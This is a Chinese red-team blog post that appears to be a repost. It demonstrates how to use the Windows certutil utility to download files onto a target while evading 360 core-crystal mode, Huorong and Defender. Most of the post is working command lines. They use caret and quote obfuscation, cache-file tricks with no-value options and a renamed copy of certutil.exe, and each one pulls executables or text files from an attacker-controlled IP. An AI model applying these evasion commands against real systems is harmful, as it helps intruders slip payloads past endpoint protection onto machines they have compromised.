探究certutil在杀软中的绕过实践
2023-5-13 15:2:9 Author: 红队蓝军(查看原文) 阅读量:24 收藏

在某些场景下,当我们需要往目标服务器内下载文件时,如果目标上存在杀软时会有拦截行为,导致不能成功完成下载操作。

certutil.exe是windows系统自带的,作为证书服务的命令行程序。用户可以使用certutil.exe转储和显示证书颁发机构配置信息等等以及验证证书、密钥对和证书链。

certutil下载文件的常见命令为:

certutil -urlcache -split -f http://xxx.com/xx.exe
  • -urlcache参数:显示或删除URL缓存条目。
  • -f参数:覆盖现有文件,后面要跟下载的文件地址。
  • -split参数:保存文件。加的话就下载到当前路径,不加就下载到默认路径。

话不多说,下面就以常见的360核晶模式、火绒、defender作为测试环境进行相关的绕过测试。

一、360核晶模式

物理机开启核晶模式的360防护强度上要比虚拟机上的强,我们就以此状态下的为准来测试。

首先以certutil的默认下载语法执行,必定是拦截的

利用windows的特性,通过" ;@等等符号组合的方式进行混淆执行,发现也能检测到异常行为并拦截。

;,@certutil&&;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/test.txt
;,certutil;, /⸿split;,-ur₏lcache -f http://192.168.xx.xx:7000/test.txt

通过复制certutil程序,更换其他路径和文件名发现照样是会拦截的。

certutil官方说明链接

https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil那么反回来看certutil的帮助说明,有如下几个无值命令选项,测试发现加上这几个选项后,会生成以该选项为名的缓存文件。

那么便可以构造如下几个执行命令了

;,@certutil  -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -DeleteHelloContainer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deleteEnrollmentServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deletePolicyServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deleteEccCurve

可以看到全程并没有产生拦截告警,成功下载指定文件并生成对应的缓存文件,如下:

接着只要把对应的缓存文件还原就行了,程序正常运行。

二、火绒模式

同样默认下载的语句会拦截:

加入无效参数-a发现也拦截

certutil -urlcache -a -split -f  http://192.168.xx.xx:8080/xx.txt

尝试对参数做一下变形,其中Windows中有些字符串是不影响命令执行的,比如^和”。

cer^t^u^til -url""""cache -a -sp""""lit -f  http://192.168.xx.xx:8080/xx.txt

可见并不是简单匹配命令语句,也会动态检测命令参数这些。既然这样,复制certutil程序,更换其他路径和文件名试试

copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f  http://192.168.xx.xx:7000/gdut.txt

发现成功绕过检测,不产生拦截并完成下载操作了。

三、Defender模式

尝试利用默认的下载语法,以及往其中加入无效的参数发现也是被defender拦截了

那么就尝试利用^和"组合发现可以绕过拦截完成下载操作,具体怎么组合根据实际情况决定即可。

certutil -url""""cache -split -f http://192.168.xx.xx:7070/test.txt
cert^u^t^il -url""""cache -sp""""lit -f http://192.168.xx.xx:7070/test.txt

通过复制certutil程序,更换路径和文件名使用默认下载语法是会拦截的,这里跟火绒不一样。

这里defender应该是对命令参数进行了检测,统一用^和"进行绕过就好。

b.exe -url""""ca^c^he -spl""""it -f http://192.168.xx.xx:7070/test.txt

https://xz.aliyun.com/t/12503

wx


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247508760&idx=1&sn=7e55c99b98143e67c3e2f6006a4b7704&chksm=ce6719a4f91090b21170273df7b81bab537b9497886d15b7fb2ad7a92fd6f43968319c6279f5#rd
如有侵权请联系:admin#unsafe.sh